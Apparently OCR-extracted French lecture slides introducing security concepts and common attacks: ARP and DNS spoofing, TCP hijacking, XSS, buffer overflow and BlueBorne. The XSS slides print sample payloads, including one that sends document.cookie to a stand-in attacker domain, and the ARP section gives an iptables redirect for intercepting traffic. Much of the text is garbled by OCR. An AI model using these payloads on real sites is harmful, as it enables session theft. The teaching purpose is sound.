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Les enjeux de la sécurité

Comment se PrOtéger P Les bases de la sécurité

 Les Objectifs de la sécurité

»  Confidentialité

= |ntégrité

= Disponibilité (Availability)

Disponibilité
Capacité d’un systeme d’information de fournir un service.

Cela englobe également I'assurance de la restauration du

service en cas de défaillance.

COC
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Les enjeux de la sécurité

Comment se PrOtéger P Les bases de la sécurité

 Les Objectifs de la sécurité
= Confidentialité

= |ntégrité

= Disponibilité (Availability)

— Tous les outils/procédures de sécurité ont comme
fonction de couvrir en partie ou en totalité les
objectifs de sécurité Confidentialité, Intégrité,

Disponibilité.
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Les enjeux de la sécurité

Comment se protéger ? resbvases dela sécurite

L Mais aussi

= |dentification

= Authentification
= Autorisation

= Accountability

= Non-Répudiation

COC

YON

Identification
Connaitre l'identité d’'une entité. Récupérer un élément caractérisant son interlocuteur . S

Authentification

Vérifier 'authenticité de I'identité d’une entité (what you know, what you have, what you are).

Autorisation

Assignation de droits, autorisation en accord avec la politique de sécurité en vigueur.



Les enjeux de la sécurité

Comment se PrOtéger P Les bases de la sécurité

L Mais aussi

= |dentification Accountability
Capacité a traquer et enregistrer les activités du Systemes d’information et de ses | S

=  Authentification

] ' utilisateurs
= Autorisation
= Accountability
= Non-Répudiation Non-Répudiation

Imputabilité d’'un message, action, activité sur le systeme d’information.

COC
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Les enjeux de la sécurité

Comment se protéger ? resbvases dela sécurite

Physical Security

Operational Security

Disaster Recovery

Information Security

Auditing

Laws and Ethics

Access Control

Management

Cryptography

Figure 2-2 Technology, hardware, people, and procedures are woven together as a security fabric.
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Les enjeux de la sécurité

Comment se PrOtéger P Les bases de la sécurité

[ Vulnérabilité

Gives rise to

f d f ” d ,d f . \ ) Threat P ; Exploits
Software, Hardware, faille de procédures fournissant a un e — 3 Lends 0
A ’ \ . . , . 7y Threat }
attaquant une fenétre d’acceés a une machine, un réseau, lui Vunorabilley ”
\ . 7 \ P\ k
offrant des acces non—autorisés a des ressources du SI. )
D Menace Directly affects
Asset Can damage

Tout danger potentiel pouvant affecter le SI.

D Risque Exposure And causes an

Probabilité qu’une vulnérabilité soit exploitée par un

~

individu (menace) ainsi que l'impact de cet exploit sur Ia Safeguard

Can be

countermeasured by a

compagnie.
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Les enjeux de la sécurité

Comment se PrOtéger P Les bases de la sécurité

Gives rise to

O Exposition . . R Exploits
Ensemble d’éléments du Sl exposés a une menace agent ] Leads to
p * A Threat }
Vulnerability =
Risk
1 Contremesure
Eléments mis en place permettant de réduire un risque Directly affects -
ast Can damage
potentiel.
Exposure And causes an
Safeguard Can be
countermeasured by a
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Les enjeux de las

Vulnerability

Damage

€
S

\Eﬁﬁifzz-4¢;

Assets

Directly affects

Thread - Thread Agent

|

And Cause an

Exposure
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Les enjeux de la sécurité

Comprendre
les attaques

= ARP Spoofing
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Les enjeux de la sécurité

ARP Spoofing

[ Utilisation de la couche de liaison

[ Utilisation des adresses MAC
O Attaque LAN

O Attaque possible uniquement sur un méme segment

] Menace

Denis de service,

ARP spoofing,

Sniffing,

Man in the middle
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YON



Les enjeux de la sécurité

ARP Spoofing

Dest IP Source IP

Table MAC

J

Table MAC

J

Table MAC

n
\/@

CR&



ARP Spoofing

A MACG IPG
MACA MAC B IP B
MACG

=

MAC A IPA
MAC B IPB

MAC G IPG
MAC A IPA
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Les enjeux de la sécurité

ARP Spoofing
Mac P

A MACG IPG
MAC A MACX IPB
IPA MACG
IPG
MACB
IP B
MAC G MACG IPG
MACX IPA @ maca  1PA

Source MAC X || Source IP A

CR&



ARP Spoofing
Mac P

MAC G IPG

A
MAC A MACX IPB

IP A MACG

IPG

MAC G IP G

MAC X IPA

MAN IN THE MIDDLE
CR&



Les enjeux de la sécurité

ARP Spoofing

MACA
IP A MACG

ARP Attack
ARP & ac /\ IPG
SNCH S
o [%]'Q, — N

MAC B EzijLB () \\\»/
e o Mac [P

MACA IPA
MACX IPG .
N MACX IPB
MACX IPA 7
O HTTP proxy
Iptables—A INPUT —p tcp —s IPB —d IPG —dport 80 : IntercePtlon des
—j REDIRECT —to-ports 80 données - Modification
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Les enjeux de la sécurité

ARP Spoofing

MAC Z IP G
MAC Z IPA

MAC Z IPA

vac P MACZ  1PB
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Les enjeux de la sécurité

Comprendre
les attaques

= DNS Spoofing
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Les enjeux de la sécurité

DNS Spoofing

U Rediriger un utilisateur vers un autre serveur

(J Deux techniques possibles:

=  DNS ID Spoofing

= DNS Cache poisoning

L Menace
= Denis de service,
= DNS spoofing,
= Phishing

COC
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Les enjeux de la sécurité

DNS Spoofing

www.bank.com

Client A DNS Serveur 1234
s ek o ? 01 I
1.2.3.4 www.bank.com

www.bank.com=1.2.3.4 ID=1

http://www.bank.com

www.bank.com

Client A DNS Serveur 1234 6.6.6.6
www.bank.com ? ID=1 _m
1.2.3.4 www.bank.com

www.bank.com=6.6.6.6 |ID=1
<

: ‘\ www.bank.com=1.2.3.4 |ID=1

http://www.bank.com
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http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/

Les enjeux de la sécurité

DNS Spoofing

DNS Serveur DNS Serveur

verybadthing.com ? ID=1 verybadthing.com ? ID=13256

verybadthing.com =1.2.2.2 ID=1 verybadthing.com =2.2.2.2 ID=13256

1.2.3.4 www.bank.com

DNS Serveur
DNS Serveur

www.bank.com ? ID=2 www.bank.com ? ID= ?

R: www.bank.com=6.6.6.6 ID=13257
¥ @: www.bank.com=6.6.6.6 ID=13258
5 R: www.bank.com=6.6.6.6 ID=13259 www.bank.com=1.2.3.4 |D=13259

6.6.6.6 www.bank.com



http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com=6.6.6.6/
http://www.bank.com/
http://www.bank.com=6.6.6.6/
http://www.bank.com/
http://www.bank.com=6.6.6.6/
http://www.bank.com/

Les enjeux de la sécurité

DNS Spoofing

Client A DNS Serveur DNS Serveur

verybadthing.com ? ID=1

Client A DNS Serveur DNS Serveur

verybadthing.com ? ID=1 verybadthing.com ? 1D=13256

verybadthing.com =2.2.2.2 ID=13256 + \ ;@
Add info (www.bank.com=6.6.6.6) \§ KY)

verybadthing.com =2.2.2.2 ID=1 +
Add info (www.bank.com=6.6.6.6)

2.2.2.2 Verybadthing.com

D

6.6.6.6 www.bank.com
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http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/

Les enjeux de la sécurité

DNS Spoofing

Taille de la requéte
27 octets

Facteur * 10
pour chaque
requéte

DNS Serveurs

Taille de la réponse
312 octets

Client A
1.2.3.4
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Les enjeux de la sécurité

Comprendre
les attaques

= TCP Flooding / TCP Session
Hijacking
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Les enjeux de la sécurité

TCP Session Hijacking

[ Se faire passer pour une machine de confiance
O Injecter des données dans une connexion déja établie

1 Récupérer des données (ala demande) dans une

connexion établie

TCP Flooding

O Bloquer une machine en lui forcant a réserver des

ressources
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Les enjeux de la sécurité

TCP Protocol

Client Server
CLOSED socket()
bind()
CLOSED I”STE”()
accept()
socket() LISTEN
connect()] YN seq-,
SYN_SENT syn-+Ack seq=y ack=x+L L
SYN_RVCD
ACI( SeJ=x+1
=AY EE-'E-'-'::_'.-”.-_I
ESTABLISHED
ESTABLISHED

http://fr.wikipedia.org/wiki/Transmission Control Protocol

COC
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http://fr.wikipedia.org/wiki/Transmission_Control_Protocol

Les enjeux de la sécurité

TCP Protocol

Computer A Computer B
write() Send n bytes
of data

Receive n bytes
|__ -_\;.n-ﬂ GT data

Know that data | AcK “_ read()
are received |

http://fr.wikipedia.org/wiki/Transmission Control Protocol
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http://fr.wikipedia.org/wiki/Transmission_Control_Protocol

Les enjeux de la sécurité

TCP Session Hijacking

— SYN, seg=a

TCP Sync

SYN, seq=Db, ack=a+1

ACK, seg=a+1 ack=b+1

Data

CR&



Les enjeux de la sécurité

TCP Session Hijacking

SYN, seq=a

SYN, seq=b, ack=a+1

Attend le ACK sans relacher
les ressources

Attente avec n*requétes sync
réservation de ressources
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Les enjeux de la sécurité

Comprendre
les attaques
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Les enjeux de la sécurité

XSS Cross Site Scripting

O Exécuter du code dans une page web
= 3l’aide de parametres

= 3 l'aide de formulaires

O 2 grandes familles
= XSS non-persistant
= XSS persistant

O Menaces
= Redirection (parfois transparente) de l'utilisateur (> phishing)
= Vols d’information (sessions/cookies)
= Actions malveillantes (défacement, suppression de données) avec l'identité de

I'utilisateur courant
= Modification du site, DoS
COC

YON Copyright © Jacques Saraydaryan



Les enjeux de la sécurité

XSS Non Persistant

<#i page language="jova" contentType="text html;
charset=I50-885%-1"
pageEncoding="I50-8859-1"%>

<!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.81 Transitional//EN"

"http://vww.w3.org/TR/htmld/loose. dtd" ;
Welcome null
<head:
<meta http-equiv="Content-Type"

+ L R S S S et =T - o T . . - .

. czn_en_ rext/html; charset=I50-6835-17 Click below to continue Your bank information
</head:
<body>

<hl>Welcome <¥= request.getParameter("name") ¥:</hl:
cdive

Click below to continue

<a href="http:/Swww. ingdirect. fr/">¥our bank information</ax
<fdive

</body>

&
</html>

CR&



Les enjeux de la sécurité

XSS Non Persistant

<#i page language="jova" contentType="text html;
charset=I50-885%-1"
pageEncoding="I50-8859-1"%>

<!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.81 Transitional//EN"

"http://vww.w3.org/TR/htmld/loose. dtd" ;
Welcome null
<head:
<meta http-equiv="Content-Type"

+ L R S S S et =T - o T . . - .

. czn_en_ rext/html; charset=I50-6835-17 Click below to continue Your bank information
</head:
<body>

<hl>Welcome <¥= request.getParameter("name") ¥:</hl:
cdive

Click below to continue

<a href="http:/Swww. ingdirect. fr/">¥our bank information</ax
<fdive

</body>

&
</html>

CR&



Les constats de sécurité

XSS Non Persistant

= W i httpy//localhost:8080/J2EE_TP1/secux35].jspiname=toto<script> alert( attacked’) < /script>

Welcome toto | Mesagedeiapage.. | =
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Les constats de sécurité

XSS Non Persistant

http://localhost:8080/J2EE_TP1/secuXSS1.jsp?name==<script>window.onload =
function() {var link=document.getElementsByTagName("a");link[0].href="http://not-
real-xssattackexamples.com/";}</script>

= B 7  httpyfleocalhostB080/12EE_TPL/secuk551 jspTname=toto %3673 %63 36725069 %07 0 %074 %3 e 3677 2000 %00 e 704 %a0f 207 7 Yade Wb 700 -

Welcome toto , )

Propristés

Click below to continue Y our bank information Géneral

E attackersite com
=

Protocole :  HyperTest Transfer Protocol

Type : Fichier COM/
Adresse @ http://attackersite com/
(URL)

COC
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Les constats de sécurité

XSS Persistant

COC

YON

A Web Page

<:| w X {} { http://

MyF avoriteForum

User: Jdoe

Decornection

51N
54
54

[User A ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Lt enim ad minim veriam,
quis nostrud exercitation dlameo laboris risi ut aliquip ex ea commaodo
corgequat. Dus aute irure dolor in reprehenderit in voluptate velit

[Jdoe)] esse cillum dolore eu fugiat ndla pariatur. Exceptewr sint occaecat
cupidatat non proident, sunt in cupa qui officia deserunt mollit arim id est
laborum.Lorem ipsum dolor sit amet, consectetur odipiscing elit. Vestibuum at
arat ac du dapibus hendrerit. Pellentesque leo enim,

[user A) sollicitudin non blandit quis, laoreet congue diam. Yestibuum
condimenturn adipiscing leo ac tincidunt. In libero quam, vehicua eu mattis sit
amet, malesuada vel lorem. Pellentesque id elit sed locus fermentum utrices.
Etiam a metus du. Donec venenatis, magna a tempor condimentum,

[User A) mawris lectus faucibus purus, a mollis tortor diam id purus. Aliquam erat

<a href=# onclick=\"document location=\"nttp:/fnot-real-
xssattackexamples com/xss php 7c=\'+escaope\(document. cookie

WiV =My Name</a>

copyright 2012




Les constats de sécurité

XSS Persistant

P

C

YON

A Web Page

<::| E> X {} {_http://

User: admin
Deconnection

[Jdoe] esse cillum delore eu fugiat ndla pariatur. Exceptewr sint occoecat
cupidatat non proident, sunt in cdpa qu officia deserunt mollit anim id est
laborum.Lorem ipsum dolor sit amet, corsectetur adipiscing elit. Vestibuum at
erat ac du dapibus hendrerit. Pellentesque leo enim,

[User A] sollicitudin non blandit quis, lacreet congue diam. Vestibuun
condimentum adipiscing leo ac tincidunt. In libero quam, vehicua eu mattis sit
amet, malesuada vel lorem. Pellentesque id elit sed lacus fermentum utrices.
Etiom a metus du. Donec venenatis, magna a tempor condimenturn,

[User A] mauris lectus faucibus purus, a mollis tortor diam id purus. Aliquam erat
volutpat. Westibuum wvitae erat urna, et feugiat mauris. Sed semper adipiscing
lacinia.
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Les enjeux de la sécurité

Comprendre
les attaques

=  BufferOverflow
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Les constats de sécurité

Buffer OverFlow o //, i

Q) Utiliser un bug d’un programme permettant I'exécution d’un

code avec les privileges de ce dernier

O 2 familles
= Stack overflow (pile d’exécution du programme) L

= Heap overflow (mémoire allouée dynamiquement)

J Menaces

= Exécuter du code sur une machine avec des privileges

élevés (root)

COC
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Les constats de sécurité

Buffer OverFlow

Exécution de la
argl=buffer argl=buffer
commande strcpy()
arg2=str arg2=str
Buffer Chaine trop tro ) -
Exécution de la
t t T
2 e commande
p trop trop tro
p trop trop tro
p trop trop tro
p trop trop tro
v
Add de retour p longue \0
Variable str Variable str Puis exécution du

code dans str

COC
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Les constats de sécurité

Buffer OverFlow

argl=buffer argl=buffer
arg2=str arg2=str
Buffer Chaine trop tro

p trop trop tro

p trop trop tro

Add de retour p longue \0

Jump

+—¢

Variable str

COC

YON Copyright © Jacques Saraydaryan



Les constats de sécurité

Buffer OverFlow

https://www.youtube.com/watch?v=PwQIEjZ2sSw

Eaploits Explainod:
How Log WOWMMMM

CR&
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Les constats de sécurité

Bluetooth BlueBorn

D Protocole Cree depws 1998 maintenu par le consortium Bluetoothé """"""""""""""""" Bluetooth BR/EDR Stack | g"65['Réfé'r'é'ﬁéé"f\?iédé'l' """

Host Specific

Special Interest Group (SIG) (membre Microsoft, intel, Appel, IBM...)

Core Protocols Cable Replacement Protocol [ Telephony Control Protacols
I Adopted Protocols [l Alternate MAC/PHY [ Application Prefiles and Services '

O Spécification tres complexe |
>| Application Layer ‘

—> Divergence entre spécification et implémentation

: | Presentation Layer ‘

Session Layer ‘

"y |

Wlfl 802.11 SPEC 450':' — Transport Layer ‘
I:I m ‘ | Network Layer ‘
Bluetooth spec 2822 = 4] Data Link Layer (MAC+LLC) |
P Link Manager Protocol (LMP) |
| ) ,_| Physical Layer ‘

Baseband and Link Control ;'7 L
| \ <

BR/EDR Radio |

https://www.mathworks.com/help/bluetooth/ug/bluetooth-protocol-stack.html
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Les constats de sécurité

Bluetooth BlueBorn

1 Beaucoup d’attaques existent!
U BlueBug : actions non autorisées sur le device
1 Blueprinting présente des info. du device cible (e.glist des services,...)
[ BlueSmack attaque DoS (envoie de paquets malformés)

[ BlueSnarf acces a I'ensemble des fichiers de la cible ( exploitationde

OBEX Push profile vulnérabilité)

(HelloMoto BlueSnarf + BlueBug

| BIueBump acces complet au device (nécessite un premier paring authorisé

au préalable)

U BlueBorn: collection d’attaques permettant la réplication

COC
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Les constats de sécurité

Bluetooth BlueBorn

U Exemple d’attaque

1. Récupération du BDADDR WifiMAC

A

J

O L'adresse bluetooth du device cible est le seul élément
nécessaire pour établir une connexion!
O sniffer les communications bluetooth pour récupérer
cette adresse (e.g ubertooth)

[ Sniffer le réseaux wifi (dans la plupart des cas I'adress MAC wifi est

identique du BDADDR ou differe simplement du dernier digit)

C pL G https://www.armis.com/research/blueborne/

YON



Les constats de sécurité

Bluetooth BlueBorn

U Exemple d’attaque

1. Récupération du BDADDR

2. Connexion au device cible )j//
BDADDR

Host (Clienp Controller

HCI Connection Request
(BD_ADDR, COD)

A

HCI Connection Complete
(BD_ADDR, CONN_HDL)

U Les device Bluetooth écoute quasiment toujours les trafics *

...HCl connection active...

unicast arrivant vers eux
L Une fois la BDADDR connue l'attaquant effectue une

demande de connexion a la cible en Bluetooth (Unicast)

C pL G https://www.armis.com/research/blueborne/

YON



Les constats de sécurité

Bluetooth BlueBorn

U Exemple d’attaque
1. Récupération du BDADDR
2. Connexion au device cible

3. Echange de configuration

1 Une fois la connexion établie un échange de

configuration commence (ici exemple de négociation de

Maximum Transmission Unit MTU)

COC

YON

BDADDR

Host

(Client)

HCI Connection Request
(BD_ADDR, COD)

Controller

HCI Connection Complete
(BD_ADDR, CONN_HDL)

...HClI connection active...

L2CAP Connection Request
(REMOTE_CID, PSM)

L2CAP Connection Response
(LOCAL_CID, REMOTE_CID)

Devica A
L2CA
L2CA_ConfigReq

Option=(x01
[MTU=0x00000 100§

L2CA_ConfigCim «—aen

L2CA Configihd «—

L2CA_ConfigRsp __
Rosult=Sucosss

\
TIME

Device B
L2CA
P LP

L2CAP_ConfigReq |

-

L2CAP_ConfigRs=p

& L2CA_Configind

L2CA_ConfigRsp

Result>Succoss

_ L2CA_ConfigReq

L2CAP ConfigReq

rsp

L2CAP_ConfigRsp |

Opton=0x01
INTU=Qu00000200]

*~—=a L2CA_ConfigCfm

https://www.armis.com/research/blueborne/



Les

constats de sécurité

Bluetooth BlueBorn

-

U Exemple d’attaque

1. Récupération du BDADDR
2. Connexion au device cible
3. Echange de configuration

4. Exploitation de la vulnérabilité

ConfigurationResponseProcessing

switch (result) {

case L2CAP CONF SUCCESS:

break;

case L2CAP CONF PENDING:

set _bit (CONF_REM CONF PEND, &chan-
>conf state);
if (test bit (CONF LOC CONF PEND, &chan-

>conf state)) {

char buf[64];

len = 1l2cap parse conf rsp(chan, o
len,buf, &result)

C

YON

{

12cap parse conf rsp(
12cap chan *chan, len,

data, ulo *result)

struct l2cap conf req *req = data;
void *ptr = reg->data;

int type, olen;

unsigned long wval;

struct l2cap conf rfc rfc;

while (len >= L2CAP CONF OPT SIZE) {
len -= l2cap get conf opt(&rsp, &type, &olen, &val);
switch (type) {
case L2CAP CONF MTU:

&

case L2CAP CONF FLUSH TO:
chan->flush to = val;
l2cap add conf opt (&ptr, L2CAP CONF FLUSH TO,
, chan->flush to);

chan->imtu = val;
12cap_add conf opt(
&ptr, L2CAP CONF MTU, 2, chan->imtu);
break;

https://www.armis.com/research/blueborne/
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Bluetooth BlueBorn

https://www.youtube.com/watch?v=U7mWeKhd_-A

Blueﬂnnu-

| Inux Take Over Deamo

CR&



Les constats de sécurité

Bluetooth BlueBorn

https://www.youtube.com/watch?v=Az-I90RCns8

Blueﬂmm'

Android Take Over Deme

e -



Les constats de sécurité

.‘ ? Questions ?
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